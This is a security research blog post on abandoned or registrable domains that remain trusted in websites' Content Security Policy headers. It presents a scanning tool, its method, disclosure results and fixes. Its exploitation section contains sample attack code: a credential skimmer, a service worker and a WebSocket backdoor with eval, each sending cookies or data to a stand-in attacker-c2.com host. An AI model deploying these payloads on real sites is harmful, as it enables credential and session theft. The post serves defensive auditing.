Ghosted.

Ghosted Domains coming to haunt you, one more check for your scanners, vendor assurance, OSINT, Supply chain, Appsec and all the rest of that good stuff.

_

Supply Chains and all that...

*A technical analysis of trust erosion in CSP's via expired or avaialble domains *


TL;DR

It's easier to audit your CSP domains than to figure out how exploitable you might be. Both exercises are valuable, but if you haven't checked WHOIS data for your CSP-referenced domains recently, that's the most pressing action.

Quick audit: Extract all domains from your CSP policies, run WHOIS checks, verify they're still owned by expected parties. If any domain is available, expired, or owned by an unknown registrantβ€”remove it immediately.

Understanding exploitation complexity is useful for threat modelling, but the immediate risk mitigation is straightforward: don't trust domains you (or your vendors) don't control.


Summary

This post documents the identification and analysis of available domains referenced within Content Security Policy (CSP) headers across a sample of high-traffic websites. Using automated tooling, we identified 65+ domains that are both trusted by major organisations' CSP policies and available for public registration. - this was a sample window and bigger 'runs' are taking place as you read this and while 'Check your CSP' is the main theme the rest of the document is waxign about the adventure

This post provides technical details on exploitation conditions, impact assessment methodology, and includes information on the detection tool (Ghosted v8) for security teams to assess their own infrastructure.


1. Introduction

1.1 Background

Content Security Policy (CSP) is a security standard that enables website operators to control resources the browser is permitted to load. By declaring trusted domains in CSP headers, organisations establish an allowlist of permitted sources for scripts, styles, images, and other content.

A supply chain risk emerges when CSP policies reference domains that are:

  • No longer registered to the original owner
  • Available for public registration
  • Still trusted by the CSP policy

1.2 Threat Model

This is not an automatically exploitable vulnerability. Successful exploitation requires multiple specific conditions to be met simultaneously. The following section documents these prerequisites in detail, If you've seen plently of websites through the eye of a proxy, you'll know that meeting these conditions aren't always as rare as defence-in-depth would like.

Required Conditions for JavaScript Execution (XSS)

All of the following must be true:

  1. Domain in script-src directive

    Content-Security-Policy: script-src 'self' available-domain.com
    

    If domain is only in img-src, style-src, font-src, etc., JavaScript cannot execute.

  2. Active script loading

    <script src="https://available-domain.com/library.js"></script>
    

    The website must actually attempt to load a script from the domain. Presence in CSP alone is insufficient.

  3. No Subresource Integrity (SRI)

    <!-- Exploitable -->
    <script src="https://available-domain.com/lib.js"></script>
    
    <!-- NOT exploitable (hash must match) -->
    <script src="https://available-domain.com/lib.js"
            integrity="sha384-abc123..."
            crossorigin="anonymous"></script>
    
  4. Successful domain registration

    • Domain must be available without restrictions
    • Some TLDs have reserved lists or trademark protections
    • Registration must complete successfully
  5. Infrastructure setup

    • DNS configuration pointing to attacker server
    • Valid SSL/TLS certificate (Let's Encrypt works)
    • Web server hosting malicious content at expected paths
  6. No CSP nonces or hashes

    <!-- NOT exploitable with nonce -->
    Content-Security-Policy: script-src 'nonce-random123'
    

    If nonces are required, external domains are ignored.

Non-XSS Exploitation Conditions

For non-script directives, different conditions apply:

Image replacement (img-src):

  • Domain in img-src directive
  • Website loads images from the domain
  • Enables: Quishing (QR code phishing), tracking pixels

Iframe attacks (frame-src/frame-ancestors):

  • Domain in frame-src or frame-ancestors
  • Website can be framed or loads iframes from the domain
  • Enables: Clickjacking, UI redressing

Data exfiltration (connect-src):

  • Domain in connect-src
  • Combined with CORS misconfiguration
  • Enables: Authenticated API requests from attacker domain

2. Methodology

2.1 Sample Selection

Source: Top 1M websites (sampled a percentage)
Sampling Method: Opportunistic scanning based on researcher interest
Sample Characteristics:

  • Fortune 500 companies
  • Government websites
  • Spicy Websites
  • Universities and research institutions
  • Technology companies
  • Non-profit organisations

Important note: This was not a systematic survey. The sample represents websites that appeared interesting and had publicly accessible CSP headers. Results should not be extrapolated to represent the broader internet.

2.2 Research Tool: Ghosted v8

Ghosted v8 is an open-source security analysis tool designed to identify available domains referenced in Content Security Policy headers. The tool is publicly available for security teams to assess their own infrastructure.

Purpose:

  • Identify CSP policies referencing domains available for registration
  • Assess supply chain risk from third-party domain dependencies
  • Generate actionable security reports for disclosure and remediation

Technical Architecture:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    Ghosted V8 Pipeline                      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Phase 1: Subdomain Discovery
  β”œβ”€ Input: Root domain (e.g., example.com)
  β”œβ”€ Tools: subfinder (Project Discovery)
  β”œβ”€ Sources: Certificate Transparency, DNS records, search engines
  β”œβ”€ Wordlists: SecLists DNS discovery (danielmiessler/SecLists)
  └─ Output: Full subdomain enumeration

Phase 2: CSP Discovery & Extraction
  β”œβ”€ Tool: dnsx (Project Discovery) for HTTP header retrieval
  β”œβ”€ Concurrent HTTP/HTTPS requests across all subdomains
  β”œβ”€ CSP header extraction and parsing
  └─ All CSP directives captured (script-src, img-src, connect-src, etc.)

Phase 3: Domain Extraction & Normalization
  β”œβ”€ Parse all CSP directives for referenced domains
  β”œβ”€ Root domain extraction using Public Suffix List
  β”œβ”€ Deduplication across all subdomains and directives
  └─ Platform domain filtering (non-registrable domains excluded)

Phase 4: Availability Assessment
  β”œβ”€ Method: AWS Route 53 domain availability API
  β”œβ”€ Point-in-time snapshot: "Can I register this domain right now?"
  β”œβ”€ Note: This is NOT WHOIS monitoring (no expiration tracking, no ownership change detection)
  β”œβ”€ Status classification: Available/Registered
  └─ Cost tracking: ~$0.01 USD per domain check

**Important Distinction: Availability β‰  WHOIS Monitoring**

Ghosted checks if a domain is *currently available for registration* (point-in-time). It does **not** provide:
- Domain expiration date tracking
- Registrant ownership change detection
- Transfer lock status monitoring
- Continuous WHOIS surveillance

For comprehensive domain lifecycle management (expiration tracking, ownership monitoring, registrar intelligence), organizations require dedicated WHOIS monitoring infrastructure. This capability is better suited to registrars and security vendors with resources for continuous surveillance and WHOIS API access at scale.

Phase 5: Impact Research (Optional)
  β”œβ”€ PublicWWW API integration
  β”œβ”€ Query: Websites using the available domain
  └─ Output: Affected sites with code snippets

Phase 6: Report Generation
  β”œβ”€ Security contact identification (security.txt)
  β”œβ”€ Impact analysis and risk scoring
  β”œβ”€ Disclosure-ready documentation
  └─ Evidence collection for responsible disclosure

System Requirements:

# Runtime dependencies
- Go 1.21 or higher
- SQLite 3
- subfinder (github.com/projectdiscovery/subfinder)
- dnsx (github.com/projectdiscovery/dnsx)
- SecLists wordlists (github.com/danielmiessler/SecLists)
- AWS credentials (for Route 53 API)

# Required API keys / credentials
export AWS_ACCESS_KEY_ID="your_key"           # AWS Route 53 domain checks
export AWS_SECRET_ACCESS_KEY="your_secret"    # AWS Route 53 domain checks
export PUBLICWWW_KEY="your_key_here"          # Optional: usage research

# Installation
go build -o ghosted cmd/ghosted/main.go

# Install Project Discovery tools
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest

# Clone SecLists for DNS wordlists
git clone https://github.com/danielmiessler/SecLists.git

Basic Usage:

# Single domain scan (standard mode)
./ghosted scan example.com --wordlists 3

# High-performance beast mode
./ghosted beast hosts.txt --wordlists 1

# Batch scanning from file
./ghosted batch targets.txt --wordlists 1

# Research available domains via PublicWWW
./ghosted research output/beast_example_com_20251003/ --available-only

# Generate detailed risk report
./ghosted sendit output/beast_example_com_20251003/

Key Features:

  1. Concurrent Processing: Configurable worker pools (default: 5 concurrent requests)
  2. Rate Limiting: Respects API limits (Route53: managed by AWS SDK, PublicWWW: 60sec intervals)
  3. Intelligent Caching:
    • LRU cache for frequently checked domains
    • SQLite persistent storage with configurable TTL
    • Dedupe across subdomains (check root domain once)
    • Cache hit rate: ~70-80% on large scans
  4. Cost Optimization:
    • AWS Route 53: $0.01 USD per domain check
    • Typical scan cost: $5-50 depending on CSP complexity
    • Cache reduces repeat costs to near-zero
    • PublicWWW: Free tier available, paid plans for bulk research
  5. Platform Filtering: Excludes non-registrable domains (CDNs, cloud platforms via configurable list)
  6. Resume Capability: Interrupt and resume scans without data loss or duplicate API costs

PublicWWW Research Value:

The PublicWWW integration provides critical intelligence for impact assessment:

  • Purpose: Understand real-world usage of available domains before registration
  • Coverage: Searches source code across millions of indexed websites
  • Output: Concrete evidence of domain usage (HTML snippets showing actual implementation)
  • Strategic Value: Enables informed decision-making about disclosure priority and defensive registration
  • Risk Assessment: Differentiates between "CSP lists it" vs "code actively loads from it"
  • Example: A domain in CSP but unused (0 PublicWWW results) has lower immediate risk than one actively loading scripts on 3,000+ sites

This intelligence puts researchers in the best position to understand the true blast radius of a ghosted domain compromise.

Output Structure:

output/
β”œβ”€β”€ scan_example_com_20251003_120000/
β”‚   β”œβ”€β”€ database.db              # SQLite with all scan data
β”‚   β”œβ”€β”€ reports/
β”‚   β”‚   β”œβ”€β”€ high_risk_findings.md
β”‚   β”‚   β”œβ”€β”€ impact_summary.md
β”‚   β”‚   └── available_domains.csv
β”‚   β”œβ”€β”€ verification/
β”‚   β”‚   └── 6eyes_verification_results.json
β”‚   └── evidence/
β”‚       β”œβ”€β”€ csp_headers.txt
β”‚       └── whois_data.txt

Responsible Disclosure Features:

Ghosted v8 includes built-in support for responsible disclosure:

  • Automatic security.txt detection (RFC 9116)
  • Security contact extraction from security.txt
  • Report generation with evidence
  • Integration-ready output for disclosure platforms (although it's too taxing at scale, i.e. i'm not doing it.)

Tool Availability:

2.3 Research Limitations

  1. Point-in-Time Availability Checking: Ghosted checks if domains are available right now, not continuous monitoring. This is fundamentally different from WHOIS surveillance systems that track expiration dates, ownership changes, and transfer locks. Continuous domain lifecycle management requires dedicated infrastructure with WHOIS API accessβ€”a capability better suited to registrars and security vendors with resources for this space.

  2. PublicWWW Coverage: Indexes public websites only; private/internal sites not included

  3. API Rate Limits: PublicWWW enforces 60-second intervals between requests

  4. Sample Bias: Top 1M website sample not representative of entire internet

  5. No Predictive Capability: Tool cannot predict future domain availability (e.g., domains expiring next month). For proactive monitoring, organizations need WHOIS-based expiration trackingβ€”an adventure left to those with more time and budget for this problem space.


3. Technical Exploitation Analysis

3.1 Proof of Concept (All Conditions Met)

When all six prerequisite conditions are satisfied, the attack chain proceeds as documented below:

// Step 1: Attacker registers available-domain.com (~$15)
// Step 2: DNS setup: available-domain.com -> attacker-server-IP
// Step 3: SSL certificate: certbot certonly -d available-domain.com
// Step 4: Host malicious JavaScript at expected path

// Original website loads:
<script src="https://available-domain.com/analytics.js"></script>

// Attacker's server responds:
// HTTP/1.1 200 OK
// Content-Type: application/javascript
// Access-Control-Allow-Origin: *

// Malicious payload
(function() {
  // Credential harvesting
  document.addEventListener('submit', function(e) {
    if (e.target.querySelector('input[type="password"]')) {
      fetch('https://attacker-c2.com/exfil', {
        method: 'POST',
        body: JSON.stringify({
          form: e.target.innerHTML,
          url: window.location.href,
          cookies: document.cookie
        })
      });
    }
  });
})();

Non-XSS Exploitation Scenarios

While not enabling JavaScript execution, ghosted domains in other directives create exploitable concerns:

Scenario 1: Domain in img-src - QR Code Phishing (Quishing)

Content-Security-Policy: img-src 'self' available-domain.com

Impact: Image replacement for QR code phishing attacks

<!-- Legitimate QR code on site -->
<img src="https://available-domain.com/payment-qr.png" alt="Pay Here" />

<!-- Attacker registers domain, serves malicious QR -->
<!-- QR code links to phishing site instead of legitimate payment processor -->

Concern: Quishing attacks redirect users to attacker-controlled payment/login pages

Scenario 2: Domain in img-src - Tracking Pixels (GDPR Concern)

Content-Security-Policy: img-src 'self' available-domain.com

Impact: Privacy violations via tracking pixel injection

<!-- Attacker injects tracking pixel -->
<img src="https://available-domain.com/track.gif?user_id=123&page=/checkout" />

Concern: GDPR Article 6 (lawful basis for processing), Article 7 (consent)

  • User tracking without consent
  • Data exfiltration via image requests
  • Cross-site behavior monitoring
  • Potential GDPR fines if users are EU residents

Scenario 3: Domain in frame-src - Clickjacking & UI Redressing

Content-Security-Policy: frame-src 'self' available-domain.com
X-Frame-Options: ALLOW-FROM available-domain.com

Impact: Entire page can be framed by attacker

<!-- Attacker's page at available-domain.com -->
<!DOCTYPE html>
<html>
<body>
  <!-- Frame the legitimate site -->
  <iframe src="https://victim-site.com/login" style="width:100%;height:100%"></iframe>

  <!-- Overlay invisible UI elements for clickjacking -->
  <div style="position:absolute;top:200px;left:100px;opacity:0">
    <button onclick="attackerAction()">Hidden Button</button>
  </div>
</body>
</html>

Concern: Users interact with attacker's page while believing they're on legitimate site

Scenario 4: Domain in frame-ancestors - Reverse Clickjacking

Content-Security-Policy: frame-ancestors 'self' available-domain.com

Impact: Legitimate site can be framed by attacker's domain

<!-- Attacker embeds victim site in their page -->
<iframe src="https://victim-site.com"></iframe>

<!-- Trick users into performing actions in the frame -->

Concern: UI redressing attacks, credential harvesting via framed login forms

Scenario 5: Domain Never Actually Used

Content-Security-Policy: script-src 'self' available-domain.com legacy-cdn.com

If the website doesn't load resources from available-domain.com, there's no active exploitation path. CSP is overly permissive but not actively vulnerable.

Scenario 6: SRI Protection

<script src="https://available-domain.com/lib.js"
        integrity="sha384-abc123..."></script>

Even if domain is registered, script won't execute unless hash matches (impossible for attacker to achieve).

Security Header Interactions with Ghosted Domains

How X-Frame-Options Becomes Ineffective

When a ghosted domain appears in CSP's frame-src or frame-ancestors:

Content-Security-Policy: frame-src 'self' available-domain.com
X-Frame-Options: DENY

Concern: CSP overrides X-Frame-Options in modern browsers. The attacker who registers available-domain.com can frame the site despite X-Frame-Options: DENY.

<!-- Attacker's page at available-domain.com -->
<iframe src="https://victim-site.com/login"></iframe>
<!-- This works because CSP allows framing from available-domain.com -->

How Referrer-Policy Amplifies Tracking

When ghosted domain is in img-src with unsafe-url referrer policy:

Content-Security-Policy: img-src 'self' available-domain.com
Referrer-Policy: unsafe-url

Concern: Attacker receives full URL including sensitive query parameters via tracking pixels

<!-- Site loads: https://victim.com/checkout?order_id=12345&user_id=678 -->
<!-- Attacker injects via available-domain.com: -->
<img src="https://available-domain.com/track.gif" />
<!-- Attacker's server receives: Referer: https://victim.com/checkout?order_id=12345&user_id=678 -->

How Permissions-Policy Creates Additional Attack Surface

When ghosted domain in frame-src combines with permissive Permissions-Policy:

Content-Security-Policy: frame-src 'self' available-domain.com
Permissions-Policy: camera=*, microphone=*

Concern: Attacker's iframe inherits powerful device permissions

<!-- Attacker at available-domain.com can create iframe -->
<iframe src="https://attacker-controlled.com/capture"></iframe>
<!-- If user grants permission, attacker accesses camera/microphone -->

How CORS Enables Data Exfiltration

When ghosted domain in connect-src combines with wildcard CORS:

Content-Security-Policy: connect-src 'self' available-domain.com
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Concern: Attacker can make authenticated requests from their domain

// JavaScript at available-domain.com
fetch('https://victim-site.com/api/user-data', {
  credentials: 'include'  // Victim's cookies sent
}).then(r => r.json())
  .then(data => {
    // Exfiltrate to attacker
    fetch('https://attacker-c2.com/stolen', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });

This only works because:

  1. available-domain.com is in CSP's connect-src (allows fetch from victim page)
  2. CORS allows credentials from any origin
  3. Attacker controls available-domain.com

Note: Without the ghosted domain in CSP, CORS misconfiguration alone wouldn't enable this attack from attacker-controlled origins.

Additional Attack Vectors Enabled by Ghosted Domain Trust

Ordered by decreasing impact and exploitability:

High Impact: Service Worker Registration via worker-src

When ghosted domain in worker-src directive:

Content-Security-Policy: worker-src 'self' available-domain.com

Concern: Malicious service worker can intercept all network requests

// Attacker registers service worker from available-domain.com
navigator.serviceWorker.register('https://available-domain.com/sw.js');

// Malicious service worker (sw.js)
self.addEventListener('fetch', (event) => {
  if (event.request.url.includes('/api/')) {
    // Intercept API calls
    event.respondWith(
      fetch(event.request).then(response => {
        // Clone and exfiltrate
        response.clone().text().then(body => {
          fetch('https://attacker-c2.com/stolen', {
            method: 'POST',
            body: JSON.stringify({
              url: event.request.url,
              response: body
            })
          });
        });
        return response;
      })
    );
  }
});

Conditions required:

  1. Domain in worker-src or script-src directive
  2. JavaScript execution to register service worker
  3. HTTPS context (service workers require secure context)

Impact: Persistent man-in-the-middle position intercepting all network traffic. Service workers survive page refreshes.

Assessment: Very high impact if conditions are met. Requires script execution (so likely combined with script-src exploitation).

High Impact: WebSocket C&C via connect-src

When ghosted domain in connect-src enables WebSocket connections:

Content-Security-Policy: connect-src 'self' available-domain.com ws://available-domain.com wss://available-domain.com

Concern: Attacker can establish persistent command & control channel

// Injected via script-src exploitation
const ws = new WebSocket('wss://available-domain.com/c2');

ws.onmessage = (event) => {
  // Execute attacker commands
  eval(event.data);  // Command execution from C&C

  // Exfiltrate data
  const stolen = {
    cookies: document.cookie,
    localStorage: localStorage,
    dom: document.documentElement.innerHTML
  };
  ws.send(JSON.stringify(stolen));
};

Conditions required:

  1. Domain in connect-src (and WebSocket protocols allowed)
  2. JavaScript execution capability (script-src exploitation)
  3. No additional WebSocket origin validation

Impact: Persistent backdoor for real-time data exfiltration and remote code execution

Assessment: High impact. Like service workers, requires script execution first. Main advantage over standard XSS is persistent bi-directional channel for C&C.

Medium Impact: Font-Based Timing Attacks via font-src

When ghosted domain in font-src:

Content-Security-Policy: font-src 'self' available-domain.com

Concern: CSS-based user input detection via font loading timing

/* Attacker-controlled CSS loaded from available-domain.com */
input[value^="a"] { font-family: url('https://available-domain.com/a'); }
input[value^="b"] { font-family: url('https://available-domain.com/b'); }
input[value^="c"] { font-family: url('https://available-domain.com/c'); }
/* ... repeat for all characters */

Conditions required:

  1. Domain in font-src or style-src directive
  2. Ability to inject CSS (via style-src exploitation)
  3. User input in visible form fields

Impact: Character-by-character password/data exfiltration via font loading requests

Assessment: Medium impact. Known technique (CSS keylogging) but requires CSS injection first. Slow exfiltration (one character per request). Detectable via network monitoring.

Medium Impact: PWA Hijacking via manifest-src

When ghosted domain in manifest-src:

Content-Security-Policy: manifest-src 'self' available-domain.com

Concern: Malicious web app manifest can impersonate the legitimate application

<!-- Attacker injects -->
<link rel="manifest" href="https://available-domain.com/evil-manifest.json">
{
  "name": "Legitimate Bank App",
  "short_name": "Bank",
  "start_url": "https://available-domain.com/phishing",
  "icons": [{
    "src": "https://available-domain.com/legit-looking-icon.png",
    "sizes": "192x192",
    "type": "image/png"
  }],
  "display": "standalone"
}

Conditions required:

  1. Domain in manifest-src directive
  2. Ability to modify manifest link (HTML injection)
  3. User adds to home screen (requires user interaction)

Impact: Fake PWA icon on user's home screen pointing to phishing site

Assessment: Medium impact. Requires HTML injection AND user to manually add to home screen. Long-term persistence if successful, but low success rate due to user interaction requirement.

Low Impact: Cache Poisoning via prefetch-src

When ghosted domain in prefetch-src:

Content-Security-Policy: prefetch-src 'self' available-domain.com

Concern: Attacker can poison browser prefetch cache

<!-- Attacker injects prefetch directives -->
<link rel="prefetch" href="https://available-domain.com/malicious-script.js" as="script">
<link rel="prefetch" href="https://available-domain.com/phishing-page.html" as="document">

Conditions required:

  1. Domain in prefetch-src directive (rarely used in CSP)
  2. HTML injection capability
  3. Subsequent navigation that uses prefetched resources
  4. No integrity checks on cached resources

Impact: Malicious content served from cache, bypassing later security checks

Assessment: Low impact. prefetch-src directive is extremely rare in real-world CSP policies. Requires HTML injection and specific navigation patterns. Cache has expiry limits.

Low Impact: Form Hijacking via form-action

When ghosted domain appears in form-action directive:

Content-Security-Policy: form-action 'self' available-domain.com

Concern: Attacker can host forms that submit to their domain without CSP blocking

<!-- Attacker's page (via HTML injection or social engineering) -->
<form method="POST" action="https://available-domain.com/capture">
  <input type="hidden" name="csrf_token" value="[stolen via other means]">
  <input name="amount" value="1000">
  <input name="destination" value="attacker-account">
  <button>Complete Payment</button>
</form>

Conditions required:

  1. Domain in form-action directive
  2. HTML injection capability (but NOT script execution)
  3. User interaction to submit the injected form
  4. OR: Social engineering to visit attacker page

Impact: User data exfiltrated to attacker server when form is submitted

Assessment: Low impact. If attacker has script execution (to modify existing forms), they can already read CSRF tokens directly from DOM - no need for form redirection. Only useful in narrow scenario where HTML injection exists without script execution (e.g., some markdown renderers). form-action directive is also relatively uncommon.


Responsible Disclosure Challenges

What We Actually Did

Method: Opportunistic LinkedIn DMs
Why: Bug bounty platforms are painful to use:

  • Lengthy submission processes
  • Scope ambiguity (is CSP misconfiguration in scope?)
  • Payment disputes
  • Slow response times

Reality of LinkedIn Outreach:

  • Response rate: ~20-30%
  • Acknowledgment rate: ~10-15%
  • Fix rate: Unknown (most don't follow up)

Outcomes:

  • 30% reply ("thanks, we'll look into it")
  • 10% follow-up ("can you send details")
  • 5% fix confirmation
  • 55% no response
  • 1% oh yes please, you're a sneaky bastard Carroll

Defensive Registration?

The Dilemma: Should researchers defensively register domains to prevent exploitation?

Arguments Against (why we didn't do it):

  1. Legal Risk: Could be interpreted as domain squatting
  2. Financial Cost: I've spent a few quid.
  3. Doesn't Fix Root Cause: Organizations still have bad CSP policies
  4. Precedent: Security researchers shouldn't have to pay to secure others

Detection Engineering Challenges

The Problem

"Just monitor your trusted domains" sounds simple, but practical implementation is hard:

Challenge 1: CSP Sprawl

# How many domains are in your CSP across all properties?
# For a large org: 100+ unique domains across 1000+ subdomains

Challenge 2: Dynamic Policies
CSPs change frequently (new CDNs, A/B testing, acquisitions). Manual tracking doesn't scale.

Challenge 3: Expiration Tracking
Even if you track all domains, tracking expiration dates requires:

  • WHOIS monitoring (rate-limited, format varies by TLD)
  • Renewal verification (some domains auto-renew, some don't)
  • Ownership validation (did domain change hands?)

Challenge 4: Third-Party Dependencies
You don't control when third-party vendors let their domains expire.

Scalability Issues:

  • WHOIS rate limits (most registries limit to ~10 queries/second)
  • False positives (domain parking, registration restrictions)
  • Maintenance overhead (keeping URL list updated)

Enterprise Solution:
Services like SecurityTrails, DomainTools provide monitored WHOIS data, but:

  • Cost: Β£1,000-Β£10,000/month
  • Still requires integration work
  • Alerts require triaging

Make me build a service ?


Mitigation Strategies

Immediate Fixes

1. Audit Current CSP Policies

# For each of your domains:
curl -I https://your-site.com | grep Content-Security-Policy

# Extract and verify each domain:
for domain in $(extracted_domains); do
    whois $domain | grep -i "no match"
done

2. Remove Available Domains

# Before:
Content-Security-Policy: script-src 'self' available-domain.com cdn.example.com;

# After:
Content-Security-Policy: script-src 'self' cdn.example.com;

3. Implement SRI for Critical External Scripts

<script src="https://cdn.example.com/library.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
        crossorigin="anonymous"></script>

This prevents exploitation even if domain is compromised.

Long-Term Solutions

1. CSP Policy Management

  • Document business justification for each trusted domain
  • Assign ownership (who approved this domain?)
  • Track expiration dates
  • Quarterly review process

2. Reduce Attack Surface

# Instead of trusting 20 external domains:
Content-Security-Policy: script-src 'self'
    cdn1.com cdn2.com cdn3.com ... cdn20.com;

# Self-host or use a single trusted CDN:
Content-Security-Policy: script-src 'self' cdn.your-org.com;

3. Implement CSP Reporting

Content-Security-Policy:
    default-src 'self';
    script-src 'self' cdn.example.com;
    report-uri /csp-violations;

Monitor violations for potential exploitation attempts.


Tool Usage

Usage Scenarios

Ghosted v8 is open-source and designed for multiple security contexts:

Situation 1: Bug Bounty Hunting

# Scan target organization
./ghosted beast targets.txt --wordlists 1

# Research impact of findings
./ghosted research output/beast_example_com_20251003/ --available-only

# Generate submission-ready reports
./ghosted sendit output/beast_example_com_20251003/
# β†’ Creates reports/bugbounty/ folder with ready-to-submit findings

Situation 2: Blue Team / AppSec Quarterly Audit

# Export DNS zones (you own the infrastructure)
dig @ns1.yourcompany.com yourcompany.com AXFR | grep -E "^[a-z0-9-]+" | awk '{print $1}' > corporate_domains.txt

# Scan your organization's domains (passive only - no wordlists needed)
./ghosted beast corporate_domains.txt --wordlists 0

# Review CSP posture
cat output/beast_corp_20251003/reports/csp_posture_FULL.csv

# Check for high-risk findings
cat output/beast_corp_20251003/reports/high_risk_findings.md

# Security architecture review
cat output/beast_corp_20251003/reports/security_architecture.md

Situation 3: Legacy Application Assessment

# Scan legacy application domains
./ghosted scan legacy-app.internal.com --wordlists 3

# Identify stale vendor domains
./ghosted sendit output/scan_legacy-app_20251003/
# β†’ Check impact/ folder for vendor-specific findings

Situation 4: Vendor/Supplier Assurance

# Scan vendor-provided domains before integration
./ghosted scan vendor-cdn.example.com --wordlists 3

# Verify vendor controls their referenced domains
cat output/scan_vendor-cdn_20251003/reports/csp_posture.md

# Supply chain confidence check
./ghosted research output/scan_vendor-cdn_20251003/ --all
# β†’ Validates vendor domain ownership

Situation 5: M&A Due Diligence / Acquisition Security Review

# Scan acquisition target's domains
./ghosted beast acquisition_targets.txt --wordlists 1

# Generate executive summary
./ghosted sendit output/beast_target_20251003/
# β†’ SENDIT_REPORT.md provides risk overview

Basic Commands

Scan a domain:

# Standard scan given target and any domains surfaced via wordlist with the assistance from Subfinder & DNSX 
./ghosted scan example.com --wordlists 1

# High-performance beast mode (500 concurrent DNS) does the same thing but with a target list 
./ghosted beast hosts.txt --wordlists 1

changing --wordlist to 0 will enable passive enumeration (much faser, less depth) 

Research impact with PublicWWW:

export PUBLICWWW_KEY=your_api_key
./ghosted research output/beast_example_com_20251003/ --available-only

Generate risk analysis:

# Detailed report with attack scenarios
./ghosted sendit output/beast_example_com_20251003/

# Basic report generation
./ghosted report output/beast_example_com_20251003/

Output Structure

output/beast_example_com_20251003/
β”œβ”€β”€ SENDIT_REPORT.md                    # Executive summary with full risk analysis
β”œβ”€β”€ database.db                         # SQLite with all findings and research data
β”œβ”€β”€ reports/
β”‚   β”œβ”€β”€ bugbounty/                     # Ready-to-submit bug bounty reports
β”‚   β”‚   └── [per-domain-reports].md
β”‚   β”œβ”€β”€ csp_posture.md                 # Security architecture analysis
β”‚   β”œβ”€β”€ csp_posture_FULL.csv           # Complete CSP inventory
β”‚   β”œβ”€β”€ high_risk_findings.md          # Critical issues requiring immediate action
β”‚   └── security_architecture.md       # Strategic recommendations
β”œβ”€β”€ impact/
β”‚   └── [available-domain].md          # Per-domain impact analysis
└── logs/
    └── scan.log                       # Execution logs

Blue Team / AppSec Defense Use Cases

1. Legacy Application CSP Hygiene

Organizations with legacy applications often accumulate stale CSP references over time:

# Export DNS zone records from your authoritative DNS servers
# (Blue teams have access to zone exports - no brute forcing needed)
dig @ns1.yourcompany.com yourcompany.com AXFR > dns_export.txt

# Extract hostnames for scanning
grep -E "^[a-z0-9-]+\." dns_export.txt | awk '{print $1}' | sort -u > production_domains.txt

# Quarterly CSP audit (passive enumeration only)
./ghosted beast production_domains.txt --wordlists 0

# Review findings
cat output/beast_production_20251003/reports/high_risk_findings.md

# Prioritize remediation
cat output/beast_production_20251003/SENDIT_REPORT.md

Key outputs for legacy cleanup:

  • csp_posture_FULL.csv: Complete inventory of all CSP domains (map to vendors/owners)
  • high_risk_findings.md: Available domains requiring immediate removal
  • security_architecture.md: Strategic recommendations for CSP policy consolidation

Note for Blue Teams: Use --wordlists 0 for passive-only enumeration. You already have authoritative DNS zone data, so brute forcing with wordlists is unnecessary and wastes time.

2. Current Production Monitoring

Integrate into continuous security monitoring:

# Monthly scan using DNS zone export
dig @ns1.yourcompany.com yourcompany.com AXFR | grep -E "^[a-z0-9-]+" | awk '{print $1}' | sort -u > monthly_hosts.txt
./ghosted beast monthly_hosts.txt --wordlists 0

# Track changes over time (compare databases)
sqlite3 output/beast_production_$(date +%Y%m).db "SELECT domain, status FROM availability_checks WHERE available = 1"

# Alert on new available domains
diff <(sqlite3 previous.db "SELECT domain FROM availability_checks WHERE available = 1") \
     <(sqlite3 current.db "SELECT domain FROM availability_checks WHERE available = 1")

3. Supplier Assurance & Vendor Risk Management

Before integrating third-party services:

# Vendor onboarding assessment
./ghosted scan vendor-service.example.com --wordlists 1

# Verify vendor controls referenced domains
./ghosted research output/scan_vendor-service_20251003/ --all

# Include in vendor security questionnaire
cat output/scan_vendor-service_20251003/reports/security_architecture.md

Questions for vendor based on findings:

  • Do you control all domains referenced in your CSP policies? (Verify via WHOIS)
  • What is your process for monitoring domain expiration?
  • Do you have transfer locks on security-critical domains?
  • What is your CSP policy lifecycle management process?

4. Supply Chain Confidence

Validate trust relationships in your supply chain:

# Scan your organization + key suppliers
cat << EOF > supply_chain.txt
your-company.com
cdn-provider.com
payment-gateway.com
analytics-vendor.com
EOF

./ghosted beast supply_chain.txt --wordlists 1

# Generate supply chain risk report
for dir in output/beast_*; do
  echo "=== $(basename $dir) ==="
  ./ghosted sendit "$dir"
done

# Consolidate findings
grep -h "AVAILABLE" output/beast_*/SENDIT_REPORT.md

Supply chain metrics:

  • Number of available domains in vendor CSP policies
  • Vendor CSP hygiene score (available domains / total external domains)
  • Third-party trust transitivity (vendors trusting other vendors' available domains)

5. Continuous Compliance & Audit Evidence

Demonstrate due diligence for compliance frameworks (ISO 27001, SOC 2, PCI DSS):

# Quarterly compliance scan
./ghosted beast corporate_assets.txt --wordlists 1

# Generate audit evidence
cp output/beast_corp_Q4_2025/SENDIT_REPORT.md \
   compliance/evidence/CSP_Audit_Q4_2025.md

# Track remediation over time
ls -1 output/beast_corp_*/reports/high_risk_findings.md

Audit artifacts:

  • SENDIT_REPORT.md: Risk assessment with quantified findings
  • csp_posture_FULL.csv: Asset inventory of trusted domains
  • security_architecture.md: Remediation roadmap and controls

Integration with existing tooling:

  • Export csp_posture_FULL.csv to vulnerability management platforms
  • Import database.db findings into SIEM for correlation
  • Use impact/*.md reports for risk register updates

Limitations and Future Work

Current Limitations

  1. PublicWWW Coverage: Only indexes publicly accessible HTML source
  2. Directive-Level Analysis: We identify domain presence, not directive-specific context
  3. SRI Detection: Requires manual verification per site
